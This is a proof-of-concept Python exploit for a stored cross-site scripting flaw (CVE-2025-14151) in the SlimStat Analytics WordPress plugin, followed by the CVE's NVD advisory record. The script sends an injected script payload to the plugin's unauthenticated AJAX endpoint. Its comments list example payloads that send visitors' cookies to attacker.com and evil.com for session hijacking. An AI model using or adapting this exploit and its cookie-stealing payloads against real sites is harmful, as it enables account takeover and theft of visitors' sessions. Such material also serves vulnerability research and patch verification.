CVE-2025-14151

# CVE-2025-14151 PoC - Stored XSS in SlimStat Analytics # Target: WordPress site with SlimStat Analytics plugin <= 5.3.2 import requests import sys def exploit_slimstat_xss(target_url, payload): """ Exploit stored XSS via slimtrack AJAX action """ ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' data = { 'action': 'slimtrack', 'outbound_resource': f'<script>alert("XSS")</script>{payload}' } try: response = requests.post(ajax_url, data=data, timeout=10) print(f'[+] Request sent to {ajax_url}') print(f'[+] Status: {response.status_code}') if response.status_code == 200: print('[+] Payload may have been stored successfully') print('[+] Visit any page with SlimStat reports to trigger XSS') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <payload>') print('Example: python exploit.py http://example.com "alert(document.cookie)"') sys.exit(1) target = sys.argv[1] payload = sys.argv[2] exploit_slimstat_xss(target, payload) # Example payloads: # 1. Basic XSS: <script>alert('XSS')</script> # 2. Cookie stealing: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> # 3. Session hijacking: <img src=x onerror="fetch('https://evil.com/log?cookie='+btoa(document.cookie))">

{"cve": {"id": "CVE-2025-14151", "sourceIdentifier": "[email protected]", "published": "2025-12-19T09:15:46.133", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'outbound_resource' parameter in the slimtrack AJAX action in all versions up to, and including, 5.3.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-slimstat/tags/5.3.2/admin/view/right-now.php#L273", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-slimstat/tags/5.3.2/admin/view/wp-slimstat-reports.php#L1341", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3421814/wp-slimstat/trunk?contextall=1&old=3401545&old_path=%2Fwp-slimstat%2Ftrunk#file4", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6ee675dd-5b43-439f-9717-6c531e9bf066?source=cve", "source": "[email protected]"}]}}